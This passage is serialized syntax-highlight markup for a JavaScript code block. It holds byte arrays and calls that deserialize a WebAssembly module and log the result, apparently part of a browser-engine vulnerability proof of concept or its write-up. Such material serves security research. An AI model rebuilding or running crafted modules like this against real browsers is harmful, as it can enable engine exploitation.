5,"children":144926},{"style":477},[144927],{"type":29,"value":4121},{"type":24,"tag":271,"props":144929,"children":144930},{"style":288},[144931],{"type":29,"value":158},{"type":24,"tag":271,"props":144933,"children":144934},{"style":477},[144935],{"type":29,"value":4121},{"type":24,"tag":271,"props":144937,"children":144938},{"style":288},[144939],{"type":29,"value":158},{"type":24,"tag":271,"props":144941,"children":144942},{"style":477},[144943],{"type":29,"value":52793},{"type":24,"tag":271,"props":144945,"children":144946},{"style":288},[144947],{"type":29,"value":158},{"type":24,"tag":271,"props":144949,"children":144950},{"style":477},[144951],{"type":29,"value":4121},{"type":24,"tag":271,"props":144953,"children":144954},{"style":288},[144955],{"type":29,"value":158},{"type":24,"tag":271,"props":144957,"children":144958},{"style":477},[144959],{"type":29,"value":4121},{"type":24,"tag":271,"props":144961,"children":144962},{"style":288},[144963],{"type":29,"value":158},{"type":24,"tag":271,"props":144965,"children":144966},{"style":477},[144967],{"type":29,"value":4121},{"type":24,"tag":271,"props":144969,"children":144970},{"style":288},[144971],{"type":29,"value":158},{"type":24,"tag":271,"props":144973,"children":144974},{"style":477},[144975],{"type":29,"value":52793},{"type":24,"tag":271,"props":144977,"children":144978},{"style":288},[144979],{"type":29,"value":158},{"type":24,"tag":271,"props":144981,"children":144982},{"style":477},[144983],{"type":29,"value":4121},{"type":24,"tag":271,"props":144985,"children":144986},{"style":288},[144987],{"type":29,"value":638},{"type":24,"tag":271,"props":144989,"children":144990},{"class":273,"line":347},[144991,144995,144999,145003,145007,145011,145015,145019,145023,145027,145031,145035,145039,145043,145047,145051,145055,145059,145063,145067,145071,145075,145079,145083,145087,145091,145095,145099,145103,145107,145111,145115,145119,145123,145127,145131,145135,145139,145143,145147,145151,145155,145159,145163,145167,145171,145175,145179,145183,145187,145191,145195,145199,145203,145207,145211,145215,145219,145223,145227,145231,145235],{"type":24,"tag":271,"props":144992,"children":144993},{"style":477},[144994],{"type":29,"value":140987},{"type":24,"tag":271,"props":144996,"children":144997},{"style":288},[144998],{"type":29,"value":158},{"type":24,"tag":271,"props":145000,"children":145001},{"style":477},[145002],{"type":29,"value":4121},{"type":24,"tag":271,"props":145004,"children":145005},{"style":288},[145006],{"type":29,"value":158},{"type":24,"tag":271,"props":145008,"children":145009},{"style":477},[145010],{"type":29,"value":52793},{"type":24,"tag":271,"props":145012,"children":145013},{"style":288},[145014],{"type":29,"value":158},{"type":24,"tag":271,"props":145016,"children":145017},{"style":477},[145018],{"type":29,"value":4121},{"type":24,"tag":271,"props":145020,"children":145021},{"style":288},[145022],{"type":29,"value":158},{"type":24,"tag":271,"props":145024,"children":145025},{"style":477},[145026],{"type":29,"value":4121},{"type":24,"tag":271,"props":145028,"children":145029},{"style":288},[145030],{"type":29,"value":158},{"type":24,"tag":271,"props":145032,"children":145033},{"style":477},[145034],{"type":29,"value":4121},{"type":24,"tag":271,"props":145036,"children":145037},{"style":288},[145038],{"type":29,"value":158},{"type":24,"tag":271,"props":145040,"children":145041},{"style":477},[145042],{"type":29,"value":3365},{"type":24,"tag":271,"props":145044,"children":145045},{"style":288},[145046],{"type":29,"value":158},{"type":24,"tag":271,"props":145048,"children":145049},{"style":477},[145050],{"type":29,"value":4121},{"type":24,"tag":271,"props":145052,"children":145053},{"style":288},[145054],{"type":29,"value":158},{"type":24,"tag":271,"props":145056,"children":145057},{"style":477},[145058],{"type":29,"value":4121},{"type":24,"tag":271,"props":145060,"children":145061},{"style":288},[145062],{"type":29,"value":158},{"type":24,"tag":271,"props":145064,"children":145065},{"style":477},[145066],{"type":29,"value":4121},{"type":24,"tag":271,"props":145068,"children":145069},{"style":288},[145070],{"type":29,"value":158},{"type":24,"tag":271,"props":145072,"children":145073},{"style":477},[145074],{"type":29,"value":4121},{"type":24,"tag":271,"props":145076,"children":145077},{"style":288},[145078],{"type":29,"value":158},{"type":24,"tag":271,"props":145080,"children":145081},{"style":477},[145082],{"type":29,"value":4121},{"type":24,"tag":271,"props":145084,"children":145085},{"style":288},[145086],{"type":29,"value":158},{"type":24,"tag":271,"props":145088,"children":145089},{"style":477},[145090],{"type":29,"value":4121},{"type":24,"tag":271,"props":145092,"children":145093},{"style":288},[145094],{"type":29,"value":158},{"type":24,"tag":271,"props":145096,"children":145097},{"style":477},[145098],{"type":29,"value":4121},{"type":24,"tag":271,"props":145100,"children":145101},{"style":288},[145102],{"type":29,"value":158},{"type":24,"tag":271,"props":145104,"children":145105},{"style":477},[145106],{"type":29,"value":4121},{"type":24,"tag":271,"props":145108,"children":145109},{"style":288},[145110],{"type":29,"value":158},{"type":24,"tag":271,"props":145112,"children":145113},{"style":477},[145114],{"type":29,"value":4121},{"type":24,"tag":271,"props":145116,"children":145117},{"style":288},[145118],{"type":29,"value":158},{"type":24,"tag":271,"props":145120,"children":145121},{"style":477},[145122],{"type":29,"value":4121},{"type":24,"tag":271,"props":145124,"children":145125},{"style":288},[145126],{"type":29,"value":158},{"type":24,"tag":271,"props":145128,"children":145129},{"style":477},[145130],{"type":29,"value":4121},{"type":24,"tag":271,"props":145132,"children":145133},{"style":288},[145134],{"type":29,"value":158},{"type":24,"tag":271,"props":145136,"children":145137},{"style":477},[145138],{"type":29,"value":37097},{"type":24,"tag":271,"props":145140,"children":145141},{"style":288},[145142],{"type":29,"value":158},{"type":24,"tag":271,"props":145144,"children":145145},{"style":477},[145146],{"type":29,"value":4121},{"type":24,"tag":271,"props":145148,"children":145149},{"style":288},[145150],{"type":29,"value":158},{"type":24,"tag":271,"props":145152,"children":145153},{"style":477},[145154],{"type":29,"value":4121},{"type":24,"tag":271,"props":145156,"children":145157},{"style":288},[145158],{"type":29,"value":158},{"type":24,"tag":271,"props":145160,"children":145161},{"style":477},[145162],{"type":29,"value":4121},{"type":24,"tag":271,"props":145164,"children":145165},{"style":288},[145166],{"type":29,"value":158},{"type":24,"tag":271,"props":145168,"children":145169},{"style":477},[145170],{"type":29,"value":4121},{"type":24,"tag":271,"props":145172,"children":145173},{"style":288},[145174],{"type":29,"value":158},{"type":24,"tag":271,"props":145176,"children":145177},{"style":477},[145178],{"type":29,"value":4121},{"type":24,"tag":271,"props":145180,"children":145181},{"style":288},[145182],{"type":29,"value":158},{"type":24,"tag":271,"props":145184,"children":145185},{"style":477},[145186],{"type":29,"value":4121},{"type":24,"tag":271,"props":145188,"children":145189},{"style":288},[145190],{"type":29,"value":158},{"type":24,"tag":271,"props":145192,"children":145193},{"style":477},[145194],{"type":29,"value":4121},{"type":24,"tag":271,"props":145196,"children":145197},{"style":288},[145198],{"type":29,"value":158},{"type":24,"tag":271,"props":145200,"children":145201},{"style":477},[145202],{"type":29,"value":4121},{"type":24,"tag":271,"props":145204,"children":145205},{"style":288},[145206],{"type":29,"value":158},{"type":24,"tag":271,"props":145208,"children":145209},{"style":477},[145210],{"type":29,"value":4121},{"type":24,"tag":271,"props":145212,"children":145213},{"style":288},[145214],{"type":29,"value":158},{"type":24,"tag":271,"props":145216,"children":145217},{"style":477},[145218],{"type":29,"value":4121},{"type":24,"tag":271,"props":145220,"children":145221},{"style":288},[145222],{"type":29,"value":158},{"type":24,"tag":271,"props":145224,"children":145225},{"style":477},[145226],{"type":29,"value":4121},{"type":24,"tag":271,"props":145228,"children":145229},{"style":288},[145230],{"type":29,"value":158},{"type":24,"tag":271,"props":145232,"children":145233},{"style":477},[145234],{"type":29,"value":4121},{"type":24,"tag":271,"props":145236,"children":145237},{"style":288},[145238],{"type":29,"value":638},{"type":24,"tag":271,"props":145240,"children":145241},{"class":273,"line":356},[145242,145246,145250,145254,145258,145262,145266,145270,145274,145278,145282,145286,145290,145294,145298,145302,145306,145310,145314,145318,145322,145326,145330,145334,145338,145342,145346,145350,145354,145358,145362,145366,145370,145375,145379,145384,145388,145392,145396,145401,145405,145409,145413,145417,145421,145425,145429,145434,145438,145442,145446,145451,145455,145459],{"type":24,"tag":271,"props":145243,"children":145244},{"style":477},[145245],{"type":29,"value":140987},{"type":24,"tag":271,"props":145247,"children":145248},{"style":288},[145249],{"type":29,"value":158},{"type":24,"tag":271,"props":145251,"children":145252},{"style":477},[145253],{"type":29,"value":4121},{"type":24,"tag":271,"props":145255,"children":145256},{"style":288},[145257],{"type":29,"value":158},{"type":24,"tag":271,"props":145259,"children":145260},{"style":477},[145261],{"type":29,"value":4121},{"type":24,"tag":271,"props":145263,"children":145264},{"style":288},[145265],{"type":29,"value":158},{"type":24,"tag":271,"props":145267,"children":145268},{"style":477},[145269],{"type":29,"value":4121},{"type":24,"tag":271,"props":145271,"children":145272},{"style":288},[145273],{"type":29,"value":158},{"type":24,"tag":271,"props":145275,"children":145276},{"style":477},[145277],{"type":29,"value":4121},{"type":24,"tag":271,"props":145279,"children":145280},{"style":288},[145281],{"type":29,"value":158},{"type":24,"tag":271,"props":145283,"children":145284},{"style":477},[145285],{"type":29,"value":4121},{"type":24,"tag":271,"props":145287,"children":145288},{"style":288},[145289],{"type":29,"value":158},{"type":24,"tag":271,"props":145291,"children":145292},{"style":477},[145293],{"type":29,"value":4121},{"type":24,"tag":271,"props":145295,"children":145296},{"style":288},[145297],{"type":29,"value":158},{"type":24,"tag":271,"props":145299,"children":145300},{"style":477},[145301],{"type":29,"value":4121},{"type":24,"tag":271,"props":145303,"children":145304},{"style":288},[145305],{"type":29,"value":158},{"type":24,"tag":271,"props":145307,"children":145308},{"style":477},[145309],{"type":29,"value":4121},{"type":24,"tag":271,"props":145311,"children":145312},{"style":288},[145313],{"type":29,"value":158},{"type":24,"tag":271,"props":145315,"children":145316},{"style":477},[145317],{"type":29,"value":4121},{"type":24,"tag":271,"props":145319,"children":145320},{"style":288},[145321],{"type":29,"value":158},{"type":24,"tag":271,"props":145323,"children":145324},{"style":477},[145325],{"type":29,"value":4121},{"type":24,"tag":271,"props":145327,"children":145328},{"style":288},[145329],{"type":29,"value":158},{"type":24,"tag":271,"props":145331,"children":145332},{"style":477},[145333],{"type":29,"value":4121},{"type":24,"tag":271,"props":145335,"children":145336},{"style":288},[145337],{"type":29,"value":158},{"type":24,"tag":271,"props":145339,"children":145340},{"style":477},[145341],{"type":29,"value":4121},{"type":24,"tag":271,"props":145343,"children":145344},{"style":288},[145345],{"type":29,"value":158},{"type":24,"tag":271,"props":145347,"children":145348},{"style":477},[145349],{"type":29,"value":4121},{"type":24,"tag":271,"props":145351,"children":145352},{"style":288},[145353],{"type":29,"value":158},{"type":24,"tag":271,"props":145355,"children":145356},{"style":477},[145357],{"type":29,"value":4121},{"type":24,"tag":271,"props":145359,"children":145360},{"style":288},[145361],{"type":29,"value":158},{"type":24,"tag":271,"props":145363,"children":145364},{"style":477},[145365],{"type":29,"value":165},{"type":24,"tag":271,"props":145367,"children":145368},{"style":288},[145369],{"type":29,"value":158},{"type":24,"tag":271,"props":145371,"children":145372},{"style":477},[145373],{"type":29,"value":145374},"95",{"type":24,"tag":271,"props":145376,"children":145377},{"style":288},[145378],{"type":29,"value":158},{"type":24,"tag":271,"props":145380,"children":145381},{"style":477},[145382],{"type":29,"value":145383},"36",{"type":24,"tag":271,"props":145385,"children":145386},{"style":288},[145387],{"type":29,"value":158},{"type":24,"tag":271,"props":145389,"children":145390},{"style":477},[145391],{"type":29,"value":4525},{"type":24,"tag":271,"props":145393,"children":145394},{"style":288},[145395],{"type":29,"value":158},{"type":24,"tag":271,"props":145397,"children":145398},{"style":477},[145399],{"type":29,"value":145400},"213",{"type":24,"tag":271,"props":145402,"children":145403},{"style":288},[145404],{"type":29,"value":158},{"type":24,"tag":271,"props":145406,"children":145407},{"style":477},[145408],{"type":29,"value":3993},{"type":24,"tag":271,"props":145410,"children":145411},{"style":288},[145412],{"type":29,"value":158},{"type":24,"tag":271,"props":145414,"children":145415},{"style":477},[145416],{"type":29,"value":156},{"type":24,"tag":271,"props":145418,"children":145419},{"style":288},[145420],{"type":29,"value":158},{"type":24,"tag":271,"props":145422,"children":145423},{"style":477},[145424],{"type":29,"value":37522},{"type":24,"tag":271,"props":145426,"children":145427},{"style":288},[145428],{"type":29,"value":158},{"type":24,"tag":271,"props":145430,"children":145431},{"style":477},[145432],{"type":29,"value":145433},"210",{"type":24,"tag":271,"props":145435,"children":145436},{"style":288},[145437],{"type":29,"value":158},{"type":24,"tag":271,"props":145439,"children":145440},{"style":477},[145441],{"type":29,"value":141380},{"type":24,"tag":271,"props":145443,"children":145444},{"style":288},[145445],{"type":29,"value":158},{"type":24,"tag":271,"props":145447,"children":145448},{"style":477},[145449],{"type":29,"value":145450},"35",{"type":24,"tag":271,"props":145452,"children":145453},{"style":288},[145454],{"type":29,"value":158},{"type":24,"tag":271,"props":145456,"children":145457},{"style":477},[145458],{"type":29,"value":4525},{"type":24,"tag":271,"props":145460,"children":145461},{"style":288},[145462],{"type":29,"value":638},{"type":24,"tag":271,"props":145464,"children":145465},{"class":273,"line":365},[145466,145471,145475,145480,145484,145489,145493,145498,145502,145507,145511,145516,145520,145525,145529,145533,145537,145541,145545,145549,145553,145557,145561,145565,145569,145574,145578,145583,145587,145591,145595,145599,145603,145607,145611,145615,145619,145623,145627,145632,145636,145641],{"type":24,"tag":271,"props":145467,"children":145468},{"style":477},[145469],{"type":29,"value":145470}," 213",{"type":24,"tag":271,"props":145472,"children":145473},{"style":288},[145474],{"type":29,"value":158},{"type":24,"tag":271,"props":145476,"children":145477},{"style":477},[145478],{"type":29,"value":145479},"231",{"type":24,"tag":271,"props":145481,"children":145482},{"style":288},[145483],{"type":29,"value":158},{"type":24,"tag":271,"props":145485,"children":145486},{"style":477},[145487],{"type":29,"value":145488},"67",{"type":24,"tag":271,"props":145490,"children":145491},{"style":288},[145492],{"type":29,"value":158},{"type":24,"tag":271,"props":145494,"children":145495},{"style":477},[145496],{"type":29,"value":145497},"190",{"type":24,"tag":271,"props":145499,"children":145500},{"style":288},[145501],{"type":29,"value":158},{"type":24,"tag":271,"props":145503,"children":145504},{"style":477},[145505],{"type":29,"value":145506},"169",{"type":24,"tag":271,"props":145508,"children":145509},{"style":288},[145510],{"type":29,"value":158},{"type":24,"tag":271,"props":145512,"children":145513},{"style":477},[145514],{"type":29,"value":145515},"253",{"type":24,"tag":271,"props":145517,"children":145518},{"style":288},[145519],{"type":29,"value":158},{"type":24,"tag":271,"props":145521,"children":145522},{"style":477},[145523],{"type":29,"value":145524},"123",{"type":24,"tag":271,"props":145526,"children":145527},{"style":288},[145528],{"type":29,"value":158},{"type":24,"tag":271,"props":145530,"children":145531},{"style":477},[145532],{"type":29,"value":156},{"type":24,"tag":271,"props":145534,"children":145535},{"style":288},[145536],{"type":29,"value":158},{"type":24,"tag":271,"props":145538,"children":145539},{"style":477},[145540],{"type":29,"value":145506},{"type":24,"tag":271,"props":145542,"children":145543},{"style":288},[145544],{"type":29,"value":158},{"type":24,"tag":271,"props":145546,"children":145547},{"style":477},[145548],{"type":29,"value":145515},{"type":24,"tag":271,"props":145550,"children":145551},{"style":288},[145552],{"type":29,"value":158},{"type":24,"tag":271,"props":145554,"children":145555},{"style":477},[145556],{"type":29,"value":145488},{"type":24,"tag":271,"props":145558,"children":145559},{"style":288},[145560],{"type":29,"value":158},{"type":24,"tag":271,"props":145562,"children":145563},{"style":477},[145564],{"type":29,"value":4121},{"type":24,"tag":271,"props":145566,"children":145567},{"style":288},[145568],{"type":29,"value":158},{"type":24,"tag":271,"props":145570,"children":145571},{"style":477},[145572],{"type":29,"value":145573},"145",{"type":24,"tag":271,"props":145575,"children":145576},{"style":288},[145577],{"type":29,"value":158},{"type":24,"tag":271,"props":145579,"children":145580},{"style":477},[145581],{"type":29,"value":145582},"191",{"type":24,"tag":271,"props":145584,"children":145585},{"style":288},[145586],{"type":29,"value":158},{"type":24,"tag":271,"props":145588,"children":145589},{"style":477},[145590],{"type":29,"value":4525},{"type":24,"tag":271,"props":145592,"children":145593},{"style":288},[145594],{"type":29,"value":158},{"type":24,"tag":271,"props":145596,"children":145597},{"style":477},[145598],{"type":29,"value":4121},{"type":24,"tag":271,"props":145600,"children":145601},{"style":288},[145602],{"type":29,"value":158},{"type":24,"tag":271,"props":145604,"children":145605},{"style":477},[145606],{"type":29,"value":145573},{"type":24,"tag":271,"props":145608,"children":145609},{"style":288},[145610],{"type":29,"value":158},{"type":24,"tag":271,"props":145612,"children":145613},{"style":477},[145614],{"type":29,"value":145515},{"type":24,"tag":271,"props":145616,"children":145617},{"style":288},[145618],{"type":29,"value":158},{"type":24,"tag":271,"props":145620,"children":145621},{"style":477},[145622],{"type":29,"value":145524},{"type":24,"tag":271,"props":145624,"children":145625},{"style":288},[145626],{"type":29,"value":158},{"type":24,"tag":271,"props":145628,"children":145629},{"style":477},[145630],{"type":29,"value":145631},"193",{"type":24,"tag":271,"props":145633,"children":145634},{"style":288},[145635],{"type":29,"value":158},{"type":24,"tag":271,"props":145637,"children":145638},{"style":477},[145639],{"type":29,"value":145640},"168",{"type":24,"tag":271,"props":145642,"children":145643},{"style":288},[145644],{"type":29,"value":638},{"type":24,"tag":271,"props":145646,"children":145647},{"class":273,"line":374},[145648,145653,145657,145661,145665,145669,145673,145677,145681,145685,145689,145693,145697,145701,145705,145710,145714,145718,145722,145726,145730,145734,145738,145742,145746,145750,145754,145758,145762,145766,145770,145774,145778,145782,145786,145790,145794,145798,145802,145806,145810,145814,145818,145822,145826,145830,145834,145838,145842,145846,145850,145854,145858,145862],{"type":24,"tag":271,"props":145649,"children":145650},{"style":477},[145651],{"type":29,"value":145652}," 255",{"type":24,"tag":271,"props":145654,"children":145655},{"style":288},[145656],{"type":29,"value":158},{"type":24,"tag":271,"props":145658,"children":145659},{"style":477},[145660],{"type":29,"value":145450},{"type":24,"tag":271,"props":145662,"children":145663},{"style":288},[145664],{"type":29,"value":158},{"type":24,"tag":271,"props":145666,"children":145667},{"style":477},[145668],{"type":29,"value":4525},{"type":24,"tag":271,"props":145670,"children":145671},{"style":288},[145672],{"type":29,"value":158},{"type":24,"tag":271,"props":145674,"children":145675},{"style":477},[145676],{"type":29,"value":145400},{"type":24,"tag":271,"props":145678,"children":145679},{"style":288},[145680],{"type":29,"value":158},{"type":24,"tag":271,"props":145682,"children":145683},{"style":477},[145684],{"type":29,"value":141335},{"type":24,"tag":271,"props":145686,"children":145687},{"style":288},[145688],{"type":29,"value":158},{"type":24,"tag":271,"props":145690,"children":145691},{"style":477},[145692],{"type":29,"value":4525},{"type":24,"tag":271,"props":145694,"children":145695},{"style":288},[145696],{"type":29,"value":158},{"type":24,"tag":271,"props":145698,"children":145699},{"style":477},[145700],{"type":29,"value":145374},{"type":24,"tag":271,"props":145702,"children":145703},{"style":288},[145704],{"type":29,"value":158},{"type":24,"tag":271,"props":145706,"children":145707},{"style":477},[145708],{"type":29,"value":145709},"214",{"type":24,"tag":271,"props":145711,"children":145712},{"style":288},[145713],{"type":29,"value":158},{"type":24,"tag":271,"props":145715,"children":145716},{"style":477},[145717],{"type":29,"value":103457},{"type":24,"tag":271,"props":145719,"children":145720},{"style":288},[145721],{"type":29,"value":158},{"type":24,"tag":271,"props":145723,"children":145724},{"style":477},[145725],{"type":29,"value":10025},{"type":24,"tag":271,"props":145727,"children":145728},{"style":288},[145729],{"type":29,"value":158},{"type":24,"tag":271,"props":145731,"children":145732},{"style":477},[145733],{"type":29,"value":4525},{"type":24,"tag":271,"props":145735,"children":145736},{"style":288},[145737],{"type":29,"value":158},{"type":24,"tag":271,"props":145739,"children":145740},{"style":477},[145741],{"type":29,"value":145400},{"type":24,"tag":271,"props":145743,"children":145744},{"style":288},[145745],{"type":29,"value":158},{"type":24,"tag":271,"props":145747,"children":145748},{"style":477},[145749],{"type":29,"value":3365},{"type":24,"tag":271,"props":145751,"children":145752},{"style":288},[145753],{"type":29,"value":158},{"type":24,"tag":271,"props":145755,"children":145756},{"style":477},[145757],{"type":29,"value":4121},{"type":24,"tag":271,"props":145759,"children":145760},{"style":288},[145761],{"type":29,"value":158},{"type":24,"tag":271,"props":145763,"children":145764},{"style":477},[145765],{"type":29,"value":4121},{"type":24,"tag":271,"props":145767,"children":145768},{"style":288},[145769],{"type":29,"value":158},{"type":24,"tag":271,"props":145771,"children":145772},{"style":477},[145773],{"type":29,"value":4121},{"type":24,"tag":271,"props":145775,"children":145776},{"style":288},[145777],{"type":29,"value":158},{"type":24,"tag":271,"props":145779,"children":145780},{"style":477},[145781],{"type":29,"value":4121},{"type":24,"tag":271,"props":145783,"children":145784},{"style":288},[145785],{"type":29,"value":158},{"type":24,"tag":271,"props":145787,"children":145788},{"style":477},[145789],{"type":29,"value":4121},{"type":24,"tag":271,"props":145791,"children":145792},{"style":288},[145793],{"type":29,"value":158},{"type":24,"tag":271,"props":145795,"children":145796},{"style":477},[145797],{"type":29,"value":4121},{"type":24,"tag":271,"props":145799,"children":145800},{"style":288},[145801],{"type":29,"value":158},{"type":24,"tag":271,"props":145803,"children":145804},{"style":477},[145805],{"type":29,"value":4121},{"type":24,"tag":271,"props":145807,"children":145808},{"style":288},[145809],{"type":29,"value":158},{"type":24,"tag":271,"props":145811,"children":145812},{"style":477},[145813],{"type":29,"value":4121},{"type":24,"tag":271,"props":145815,"children":145816},{"style":288},[145817],{"type":29,"value":158},{"type":24,"tag":271,"props":145819,"children":145820},{"style":477},[145821],{"type":29,"value":3365},{"type":24,"tag":271,"props":145823,"children":145824},{"style":288},[145825],{"type":29,"value":158},{"type":24,"tag":271,"props":145827,"children":145828},{"style":477},[145829],{"type":29,"value":4121},{"type":24,"tag":271,"props":145831,"children":145832},{"style":288},[145833],{"type":29,"value":158},{"type":24,"tag":271,"props":145835,"children":145836},{"style":477},[145837],{"type":29,"value":4121},{"type":24,"tag":271,"props":145839,"children":145840},{"style":288},[145841],{"type":29,"value":158},{"type":24,"tag":271,"props":145843,"children":145844},{"style":477},[145845],{"type":29,"value":4121},{"type":24,"tag":271,"props":145847,"children":145848},{"style":288},[145849],{"type":29,"value":158},{"type":24,"tag":271,"props":145851,"children":145852},{"style":477},[145853],{"type":29,"value":4121},{"type":24,"tag":271,"props":145855,"children":145856},{"style":288},[145857],{"type":29,"value":158},{"type":24,"tag":271,"props":145859,"children":145860},{"style":477},[145861],{"type":29,"value":4121},{"type":24,"tag":271,"props":145863,"children":145864},{"style":288},[145865],{"type":29,"value":638},{"type":24,"tag":271,"props":145867,"children":145868},{"class":273,"line":384},[145869,145873,145877,145881,145885,145889,145893,145897,145901,145905,145909,145914,145918,145923,145927,145932,145936,145940],{"type":24,"tag":271,"props":145870,"children":145871},{"style":477},[145872],{"type":29,"value":140987},{"type":24,"tag":271,"props":145874,"children":145875},{"style":288},[145876],{"type":29,"value":158},{"type":24,"tag":271,"props":145878,"children":145879},{"style":477},[145880],{"type":29,"value":4121},{"type":24,"tag":271,"props":145882,"children":145883},{"style":288},[145884],{"type":29,"value":158},{"type":24,"tag":271,"props":145886,"children":145887},{"style":477},[145888],{"type":29,"value":4121},{"type":24,"tag":271,"props":145890,"children":145891},{"style":288},[145892],{"type":29,"value":158},{"type":24,"tag":271,"props":145894,"children":145895},{"style":477},[145896],{"type":29,"value":4121},{"type":24,"tag":271,"props":145898,"children":145899},{"style":288},[145900],{"type":29,"value":158},{"type":24,"tag":271,"props":145902,"children":145903},{"style":477},[145904],{"type":29,"value":4121},{"type":24,"tag":271,"props":145906,"children":145907},{"style":288},[145908],{"type":29,"value":158},{"type":24,"tag":271,"props":145910,"children":145911},{"style":477},[145912],{"type":29,"value":145913},"92",{"type":24,"tag":271,"props":145915,"children":145916},{"style":288},[145917],{"type":29,"value":158},{"type":24,"tag":271,"props":145919,"children":145920},{"style":477},[145921],{"type":29,"value":145922},"50",{"type":24,"tag":271,"props":145924,"children":145925},{"style":288},[145926],{"type":29,"value":158},{"type":24,"tag":271,"props":145928,"children":145929},{"style":477},[145930],{"type":29,"value":145931},"162",{"type":24,"tag":271,"props":145933,"children":145934},{"style":288},[145935],{"type":29,"value":158},{"type":24,"tag":271,"props":145937,"children":145938},{"style":477},[145939],{"type":29,"value":4121},{"type":24,"tag":271,"props":145941,"children":145942},{"style":288},[145943],{"type":29,"value":638},{"type":24,"tag":271,"props":145945,"children":145946},{"class":273,"line":393},[145947],{"type":24,"tag":271,"props":145948,"children":145949},{"style":288},[145950],{"type":29,"value":141274},{"type":24,"tag":271,"props":145952,"children":145953},{"class":273,"line":402},[145954,145958,145962,145966,145970,145974,145978,145982,145986,145990,145994],{"type":24,"tag":271,"props":145955,"children":145956},{"style":278},[145957],{"type":29,"value":15571},{"type":24,"tag":271,"props":145959,"children":145960},{"style":630},[145961],{"type":29,"value":142727},{"type":24,"tag":271,"props":145963,"children":145964},{"style":624},[145965],{"type":29,"value":1712},{"type":24,"tag":271,"props":145967,"children":145968},{"style":598},[145969],{"type":29,"value":142736},{"type":24,"tag":271,"props":145971,"children":145972},{"style":288},[145973],{"type":29,"value":606},{"type":24,"tag":271,"props":145975,"children":145976},{"style":630},[145977],{"type":29,"value":140605},{"type":24,"tag":271,"props":145979,"children":145980},{"style":288},[145981],{"type":29,"value":158},{"type":24,"tag":271,"props":145983,"children":145984},{"style":630},[145985],{"type":29,"value":131932},{"type":24,"tag":271,"props":145987,"children":145988},{"style":288},[145989],{"type":29,"value":41},{"type":24,"tag":271,"props":145991,"children":145992},{"style":630},[145993],{"type":29,"value":131932},{"type":24,"tag":271,"props":145995,"children":145996},{"style":288},[145997],{"type":29,"value":1155},{"type":24,"tag":271,"props":145999,"children":146000},{"class":273,"line":411},[146001,146005,146009,146013,146017,146021,146025,146029,146033,146037],{"type":24,"tag":271,"props":146002,"children":146003},{"style":630},[146004],{"type":29,"value":142772},{"type":24,"tag":271,"props":146006,"children":146007},{"style":624},[146008],{"type":29,"value":1712},{"type":24,"tag":271,"props":146010,"children":146011},{"style":288},[146012],{"type":29,"value":1357},{"type":24,"tag":271,"props":146014,"children":146015},{"style":749},[146016],{"type":29,"value":40586},{"type":24,"tag":271,"props":146018,"children":146019},{"style":630},[146020],{"type":29,"value":142727},{"type":24,"tag":271,"props":146022,"children":146023},{"style":288},[146024],{"type":29,"value":41},{"type":24,"tag":271,"props":146026,"children":146027},{"style":598},[146028],{"type":29,"value":7218},{"type":24,"tag":271,"props":146030,"children":146031},{"style":288},[146032],{"type":29,"value":142801},{"type":24,"tag":271,"props":146034,"children":146035},{"style":630},[146036],{"type":29,"value":46820},{"type":24,"tag":271,"props":146038,"children":146039},{"style":288},[146040],{"type":29,"value":1069},{"type":24,"tag":271,"props":146042,"children":146043},{"class":273,"line":420},[146044,146048,146052,146056,146060,146065,146069,146073],{"type":24,"tag":271,"props":146045,"children":146046},{"style":630},[146047],{"type":29,"value":108734},{"type":24,"tag":271,"props":146049,"children":146050},{"style":288},[146051],{"type":29,"value":41},{"type":24,"tag":271,"props":146053,"children":146054},{"style":598},[146055],{"type":29,"value":108743},{"type":24,"tag":271,"props":146057,"children":146058},{"style":288},[146059],{"type":29,"value":606},{"type":24,"tag":271,"props":146061,"children":146062},{"style":378},[146063],{"type":29,"value":146064},"'DeserializeWasmModule result: '",{"type":24,"tag":271,"props":146066,"children":146067},{"style":624},[146068],{"type":29,"value":4253},{"type":24,"tag":271,"props":146070,"children":146071},{"style":630},[146072],{"type":29,"value":16869},{"type":24,"tag":271,"props":146074,"children":146075},{"style":288},[146076],{"type":29,"value":1155},{"type":24,"tag":271,"props":146078,"children":146079},{"class":273,"line":429},[146080,146084,146088,146092,146096,146100,146104,146108,146112,146116],{"type":24,"tag":271,"props":146081,"children":146082},{"style":278},[146083],{"type":29,"value":43856},{"type":24,"tag":271,"props":146085,"children":146086},{"style":630},[146087],{"type":29,"value":142821},{"type":24,"tag":271,"props":146089,"children":146090},{"style":624},[146091],{"type":29,"value":1712},{"type":24,"tag":271,"props":146093,"children":146094},{"style":278},[146095],{"type":29,"value":39603},{"type":24,"tag":271,"props":146097,"children":146098},{"style":630},[146099],{"type":29,"value":140588},{"type":24,"tag":271,"props":146101,"children":146102},{"style":288},[146103],{"type":29,"value":41},{"type":24,"tag":271,"props":146105,"children":146106},{"style":598},[146107],{"type":29,"value":140642},{"type":24,"tag":271,"props":146109,"children":146110},{"style":288},[146111],{"type":29,"value":606},{"type":24,"tag":271,"props":146113,"children":146114},{"style":630},[146115],{"type":29,"value":16793},{"type":24,"tag":271,"props":146117,"children":146118},{"style":288},[146119],{"type":29,"value":1155},{"type":24,"tag":271,"props":146121,"children":146122},{"class":273,"line":438},[146123,146127,146131,146135,146139,146143,146147,146151,146155],{"type":24,"tag":271,"props":146124,"children":146125},{"style":278},[146126],{"type":29,"value":43856},{"type":24,"tag":271,"props":146128,"children":146129},{"style":630},[146130],{"type":29,"value":896},{"type":24,"tag":271,"props":146132,"children":146133},{"style":624},[146134],{"type":29,"value":1712},{"type":24,"tag":271,"props":146136,"children":146137},{"style":630},[146138],{"type":29,"value":142821},{"type":24,"tag":271,"props":146140,"children":146141},{"style":288},[146142],{"type":29,"value":41},{"type":24,"tag":271,"props":146144,"children":146145},{"style":630},[146146],{"type":29,"value":45554},{"type":24,"tag":271,"props":146148,"children":146149},{"style":288},[146150],{"type":29,"value":41},{"type":24,"tag":271,"props":146152,"children":146153},{"style":630},[146154],{"type":29,"value":140691},{"type":24,"tag":271,"props":146156,"children":146157},{"style":288},[146158],{"type":29,"value":1069},{"type":24,"tag":271,"props":146160,"children":146161},{"class":273,"line":447},[146162,146166,146170,146174,146178,146182],{"type":24,"tag":271,"props":146163,"children":146164},{"style":630},[146165],{"type":29,"value":108734},{"type":24,"tag":271,"props":146167,"children":146168},{"style":288},[146169],{"type":29,"value":41},{"type":24,"tag":271,"props":146171,"children":146172},{"style":598},[146173],{"type":29,"value":108743},{"type":24,"tag":271,"props":146175,"children":146176},{"style":288},[146177],{"type":29,"value":606},{"type":24,"tag":271,"props":146179,"children":146180},{"style":630},[14618